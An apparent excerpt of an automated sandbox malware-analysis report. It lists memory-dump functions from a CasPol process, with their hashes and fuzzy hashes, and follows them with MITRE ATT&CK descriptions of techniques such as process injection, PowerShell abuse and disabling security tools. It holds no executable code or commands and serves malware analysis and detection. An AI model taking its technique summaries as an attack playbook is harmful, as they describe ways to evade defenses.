Uniqueness Score: -1.00%

Function 1FA75418 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 847132173dc134a10ef0aeaa2aa8c6b5f7f84f3fca4672a5381cc84eada51cc7
Instruction ID: 1add12081dd23eeb853bacea382ff4bdb612797b19d0928eeb9b1494f1073707
Opcode Fuzzy Hash: 847132173dc134a10ef0aeaa2aa8c6b5f7f84f3fca4672a5381cc84eada51cc7
Instruction Fuzzy Hash: 95412DB5F00354DFCB80EBB9C4985ADBBF6AF88215B114529E506E7384EF389D02CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA74221 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2913b4e140b3462b32a0e445a08494e4a2ede9d8b669ae735861bcae06a025e9
Instruction ID: 79a5c94a1776e814cda4c6a5a43a50eb7203803116a9981859a04384b746455e
Opcode Fuzzy Hash: 2913b4e140b3462b32a0e445a08494e4a2ede9d8b669ae735861bcae06a025e9
Instruction Fuzzy Hash: B341C134F043448FCB85EBB884642AE7BE29FC9200F15847AD50ADB394EE39CD02C792

Uniqueness

Uniqueness Score: -1.00%

Function 1FA76C15 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b292b961d03f632e46341a3d2c4a6aa8987b4343e52ec538a8d2769e1ec42ad
Instruction ID: 8ab8dc5b2d5e45669e491096e7d4bcab0ce363079c82f3ecbc69e697f6d5928e
Opcode Fuzzy Hash: 2b292b961d03f632e46341a3d2c4a6aa8987b4343e52ec538a8d2769e1ec42ad
Instruction Fuzzy Hash: DF41A1B5E04624CBCB45AB7480587ADBBF2EF89214F15563DC445EB340EF3A9C05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA72020 Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f2ddffbed45da2c725c20ffba342518139992707d088f077d58fdc6f0e2a2b
Instruction ID: cb3ff28721e3218b172847cc636ca7e48d20abe443407371c095ca3d7e13ba35
Opcode Fuzzy Hash: 83f2ddffbed45da2c725c20ffba342518139992707d088f077d58fdc6f0e2a2b
Instruction Fuzzy Hash: DA4121B5F00325CFCB90ABB8C4885AE7BF5FF88211B014529E50AD7244EF349D468B95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70538 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 897c464d316a6eeebab725cfeb9dd953bd6efae07f3890fe8d2d84a8b14fa6d0
Instruction ID: 0f13543ec94788e8a7e3590143b427df5e4df4725468147111b9d2c5473c497d
Opcode Fuzzy Hash: 897c464d316a6eeebab725cfeb9dd953bd6efae07f3890fe8d2d84a8b14fa6d0
Instruction Fuzzy Hash: 8E212474F443548FDB4553BC48686EEBFB1CF86304F018266D409CB282EE39D806C751

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75778 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94d9d7972858fd2fb210e2986ca9cda13cbd24d11a67366583122bee1d06129c
Instruction ID: b6c45f6b26a98a9f33a36635cf07f3716d75b38ba6873a54090a0b92ecbddd02
Opcode Fuzzy Hash: 94d9d7972858fd2fb210e2986ca9cda13cbd24d11a67366583122bee1d06129c
Instruction Fuzzy Hash: 45212571B063448FDB41A77898147EA7FF2DBC5310F0544A6D548CB292EE399E068762

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75659 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5abd7af09725100a34edbda6b6004aac2d1c94666441fac8e6729d06674353e7
Instruction ID: baf340024154105b01d75727aacd89887769caa2306ae80cb7a8cc1e13695caa
Opcode Fuzzy Hash: 5abd7af09725100a34edbda6b6004aac2d1c94666441fac8e6729d06674353e7
Instruction Fuzzy Hash: DF21D675F042498FCB81DB7884546DE7BF2ABC9600F1180AAD548D7345EE399E06CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA71FC0 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bccfa2a3659539252ec2db88e3ad42807dc9be04a1d91bf0efec2d6a290b730
Instruction ID: 66317d9137784da65398fa879374e15636c800778b1edf4e6c4c8543215316ef
Opcode Fuzzy Hash: 6bccfa2a3659539252ec2db88e3ad42807dc9be04a1d91bf0efec2d6a290b730
Instruction Fuzzy Hash: 5C210171B052458FCB41EB3C58946EE7FE19F88310F0541AAC509DB281EE3EDC06CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 1FA7046A Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4be08e477c67fd0f5fa588f2cb6d7510967dc7c08cdab8321ab106553179a191
Instruction ID: 82ca313a81ccbd5c8833e29b8ae7495af572e8cd2c47c44c8125170bc1fc2e54
Opcode Fuzzy Hash: 4be08e477c67fd0f5fa588f2cb6d7510967dc7c08cdab8321ab106553179a191
Instruction Fuzzy Hash: 7C118676F002148F8B80EBBDD5445DEBBF1DB88620710916AD50DE7384EF359E028791

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF250B Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef141f54169fe261f27d64a6d2d7dff37bd341df0e5595b1e5b86695744ceb18
Instruction ID: f639766e34276cb96392242f6c1463b5b5e0ac4347dc6a8f6bb2463d613ba3d5
Opcode Fuzzy Hash: ef141f54169fe261f27d64a6d2d7dff37bd341df0e5595b1e5b86695744ceb18
Instruction Fuzzy Hash: 74216D751093C09FD7038B24D850B45BFB1EF97314F1D85EED4898B6A3C62A8816CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1F8539FC Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6780774700.000000001F850000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f850000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8233da9f371f15ad8ff2264575bd4060bcdc9b00a0984c94a88f3bf854824ad6
Instruction ID: 683501f3869e8aab344be23c22d8aa11f50b86d41fd03f3cac45efcb71fd4c95
Opcode Fuzzy Hash: 8233da9f371f15ad8ff2264575bd4060bcdc9b00a0984c94a88f3bf854824ad6
Instruction Fuzzy Hash: 9411B8B5A08301AFD340CF19D841A5BFBE4FB88664F04896EF998D7311D331E9198FA6

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75411 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a14fc212d44cb163cc9c8bf461c041001d08375b4e434c23665507f4eb6aa93b
Instruction ID: 8854199f69e790229ee57fa0bb417d0a9514707bfecf8a2b3564cd6914a69204
Opcode Fuzzy Hash: a14fc212d44cb163cc9c8bf461c041001d08375b4e434c23665507f4eb6aa93b
Instruction Fuzzy Hash: 27115275F002589FCF94EBBD44941AE7AE69FC8250F15416AD509E7380EE394D01CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF2544 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20a87014f0b4786485c11c554f982cb498e68adab44f2b4bfa7d116642ab91d9
Instruction ID: 3fcdbc0aaa02f112d1c284c539e210f78d9c408a8684a7dc4ae2b14bdceee413
Opcode Fuzzy Hash: 20a87014f0b4786485c11c554f982cb498e68adab44f2b4bfa7d116642ab91d9
Instruction Fuzzy Hash: 8C11DA3A2083819FD306CB14C950B16F795EF89708F28C5ACD4494B752C77BD843CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1FA756B8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b993bfaee8a4436256906b44d477a336b0391336a50e500318e387d295595e04
Instruction ID: 545ac287f741e2b45ac3a573c79dc8464f732469fc3b900698c872e80c4ca22b
Opcode Fuzzy Hash: b993bfaee8a4436256906b44d477a336b0391336a50e500318e387d295595e04
Instruction Fuzzy Hash: 2B111275F002189FCB80EB7DC55459E7BF6FBC86507118069D509E7344EE359E02CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70EC7 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9632a0b5e543073c670f2bddc7879453981ac54e53916bdf4dab9a5ebd9ad275
Instruction ID: b9394bfb347dcdacfc751d477102dc27a6d8e4af5d099b39f68484f33b062aaf
Opcode Fuzzy Hash: 9632a0b5e543073c670f2bddc7879453981ac54e53916bdf4dab9a5ebd9ad275
Instruction Fuzzy Hash: E3115275F002188FCB80EB7DC55459EBBF2EBC8650711906AE509E7344EF359E02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70EC8 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e91f7d9596a8e2946935d3dabf92322097dd311b8f5c02c3c4e3f296ab7421e
Instruction ID: bcf6b299cefbaff3765a7cc927dcec37d647c81f2d78749f2216fb1da1e70936
Opcode Fuzzy Hash: 4e91f7d9596a8e2946935d3dabf92322097dd311b8f5c02c3c4e3f296ab7421e
Instruction Fuzzy Hash: 9B115275F002188FCB80EB7DC55459EBBF6EBC8650711906AE509E3344EF359E02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70478 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b79da0cf1bb38a9d628fae8bacba6336e46fb2998729b272137e4e441cfa80a
Instruction ID: 452e240d55110bb57136eb0696273a01de713f30df772f91e7e745ae5764637a
Opcode Fuzzy Hash: 3b79da0cf1bb38a9d628fae8bacba6336e46fb2998729b272137e4e441cfa80a
Instruction Fuzzy Hash: 3A115275F002188FCB81EBBDC55459EBBF6EB88610710816AD509E3344EF35AE02CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF05E4 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 142743c29308fc78671384f34ba1b120c155b843a932e7b0f57da7a14939f7ac
Instruction ID: 070b249b3e4a36075872664ec883a57b1c0d39ad8adbc3214b6086c868f33052
Opcode Fuzzy Hash: 142743c29308fc78671384f34ba1b120c155b843a932e7b0f57da7a14939f7ac
Instruction Fuzzy Hash: 88F0A9B66097846FD7118F169C40863FFA8EF86620709C0AFED498B612D265B909C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70FE7 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a27707cb38910fdd65d064ebed3169d0bdcf3d724d6a021bbcc1fddb7bba0d42
Instruction ID: 2ad14c508c88b8c9f79df051592356401ce9e64e84bfdd6edd105af0ff257310
Opcode Fuzzy Hash: a27707cb38910fdd65d064ebed3169d0bdcf3d724d6a021bbcc1fddb7bba0d42
Instruction Fuzzy Hash: 2DF03175E00368CFDB80AFF4D44819DBFB0EB44751F114526E906D7344DB395546CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1FA76D3C Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7d9aee854199091b0d6d1f29710cee1370c5422d0aa6ccf8b90f31cf09733c
Instruction ID: 15ce440d6291d9d71758b1d2c7b4254258b65b51837f4b2947f8e0917f7ba8f9
Opcode Fuzzy Hash: 3c7d9aee854199091b0d6d1f29710cee1370c5422d0aa6ccf8b90f31cf09733c
Instruction Fuzzy Hash: 09F0F6B2F049308BCB447B7C918826CB7E1EFC4210F11467AC54993385DF364D258796

Uniqueness

Uniqueness Score: -1.00%

Function 1FA7045D Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 256cbf91bcbf1e47e96f3c1909c50bc8a9d22cc6ddc1dc0439f098d567500e30
Instruction ID: 502b05482c29c70b72fca3488e80cdc1b3ce3b8083f04b10029495437de0915c
Opcode Fuzzy Hash: 256cbf91bcbf1e47e96f3c1909c50bc8a9d22cc6ddc1dc0439f098d567500e30
Instruction Fuzzy Hash: 63F0303AB002148FCB81D7BDC55485EB7F2EBC8620310D169D50DE7348EF3AAD028751

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF2600 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5bff320ec9e9c225b37a0e3dd8c496f040e228f36ab50c164dc4cf25c196c29
Instruction ID: e972e9ab2bbc62bf0a92d59d36c97be38562a6669406e6b27ee4992f4d57d33f
Opcode Fuzzy Hash: f5bff320ec9e9c225b37a0e3dd8c496f040e228f36ab50c164dc4cf25c196c29
Instruction Fuzzy Hash: 17F01D3A108685DFC306CF04D540B15FBA2FB89718F28C6ADE9490B762C737D913DA91

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF24EC Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372803868eb634d54e661573cdc9528db18e3ed774c5243ae59b3fcec3f60755
Instruction ID: 00c0971408d39d8a26b2500649ec94ef85b1c04ec36f49e89cc28af07bd70f32
Opcode Fuzzy Hash: 372803868eb634d54e661573cdc9528db18e3ed774c5243ae59b3fcec3f60755
Instruction Fuzzy Hash: 27F0EC351482818FC306CB14D950A16BBA1EB8A318F29C6DED9884B6A3C736D917DB51

Uniqueness

Uniqueness Score: -1.00%

Function 1CFF0606 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745614695.000000001CFF0000.00000040.00000020.00020000.00000000.sdmp, Offset: 1CFF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cff0000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc0ad6983fb1ccc7874b157ef07d090d34262f7bce50a4516cffd90e74b8397e
Instruction ID: beb3c5811ebd273ac10fe186b624436dc8d8429c4b00d7661e0203692126ef30
Opcode Fuzzy Hash: cc0ad6983fb1ccc7874b157ef07d090d34262f7bce50a4516cffd90e74b8397e
Instruction Fuzzy Hash: 7FE06DB6A006049B9650CF0AEC41452F7D4EF84A30708C07BDD0D8B701D275B519CAAA

Uniqueness

Uniqueness Score: -1.00%

Function 1FA704D7 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d286f35193a4507077807c52ba1fa64afbc93ae9e60b6f020001cac8d21cb51
Instruction ID: ee947a6583859a22d4346ccf4f60f91880f8697d88b5179073b3e75365f6eecf
Opcode Fuzzy Hash: 9d286f35193a4507077807c52ba1fa64afbc93ae9e60b6f020001cac8d21cb51
Instruction Fuzzy Hash: 5CE0ED3AF001148BCF45EBB8D55549DB3F1EFC8624711D165D509E7254EF35AE02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70F27 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a048dd06310a0715336f4c48c2d771d8ba03445a018a1d07ce9bfe8b3a47ccd
Instruction ID: 0255a04ef3e4ef9f0691bced527f9bad55528674e9a31d5f2b48ec93b7e0c848
Opcode Fuzzy Hash: 2a048dd06310a0715336f4c48c2d771d8ba03445a018a1d07ce9bfe8b3a47ccd
Instruction Fuzzy Hash: 52E06D3AF001148BCF40EBB8C5544DDB7F1EBC8220311A065E409E7264EF369E02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1FA75717 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85f1435839c90348c118ba2dfa6c9720d18adcd2614bac84194934fcb0f08879
Instruction ID: aabb43bced67f23a59ccd04daa484a9463f90e0dd4476a0368dfe4d6b2f69d02
Opcode Fuzzy Hash: 85f1435839c90348c118ba2dfa6c9720d18adcd2614bac84194934fcb0f08879
Instruction Fuzzy Hash: 0CE0C93AF002148BCF44EBB8D55549DB3F1EBC862471191A5D509E7254EE259E02CB51

Uniqueness

Uniqueness Score: -1.00%

Function 1F853A67 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6780774700.000000001F850000.00000040.00000800.00020000.00000000.sdmp, Offset: 1F850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1f850000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8d8300f9389b529b1a17a8040be6a989e1350750f2b2debb28e7d00fc161107
Instruction ID: bcc5090bafe8ba305e29115680eb553d33d2a27526c7a49619bbed96104fedd1
Opcode Fuzzy Hash: d8d8300f9389b529b1a17a8040be6a989e1350750f2b2debb28e7d00fc161107
Instruction Fuzzy Hash: 22E092F2A4020467D2108F069C46B12FB98DB84A30F44846AED081B742D161751889E9

Uniqueness

Uniqueness Score: -1.00%

Function 1FA70F91 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6781828167.000000001FA70000.00000040.00000800.00020000.00000000.sdmp, Offset: 1FA70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1fa70000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f5f8e3560c871cb56696d281feaf83ba2a5e6a3f25e5b82edd9dd8077c8d9a
Instruction ID: 64029cd75abc76f8b4ac81337441d842ba1ab30a4c3b8da5dbb4dc57ca59b43e
Opcode Fuzzy Hash: 14f5f8e3560c871cb56696d281feaf83ba2a5e6a3f25e5b82edd9dd8077c8d9a
Instruction Fuzzy Hash: CEE06D7AE003A8CFDB40ABF494881DCBBB1EB44361F218167D90ADB244DB3D6586CF85

Uniqueness

Uniqueness Score: -1.00%

Function 1CFD23F4 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745025189.000000001CFD2000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFD2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfd2000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59e52dc652b34f93bf76a0c67dbcb170e9cea94f634a168ab5b7d193db2d881b
Instruction ID: df4615886364a724ef362e897ed593b9b0593454cb0cd869a552d45bcabf8537
Opcode Fuzzy Hash: 59e52dc652b34f93bf76a0c67dbcb170e9cea94f634a168ab5b7d193db2d881b
Instruction Fuzzy Hash: 93D05EBA6067814FE3038A18C1A0BA53794AF92B25F5B44F9AC408B673C768E981D261

Uniqueness

Uniqueness Score: -1.00%

Function 1CFD23BC Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.6745025189.000000001CFD2000.00000040.00000800.00020000.00000000.sdmp, Offset: 1CFD2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_1cfd2000_CasPol.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e7438ed91852de445e0eb53e267cf224584f2ba43f266fadcf05931fbbbf6a0
Instruction ID: cf540a8e1c27ce36aaef71aa334ee99fb41d28f8d2aa53ce4f8cc2a864d9f282
Opcode Fuzzy Hash: 4e7438ed91852de445e0eb53e267cf224584f2ba43f266fadcf05931fbbbf6a0
Instruction Fuzzy Hash: 74D05E387013814FD715CA18C290F6933D4AF84B10F2744E8AC018B262C7A4E8C0E660

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
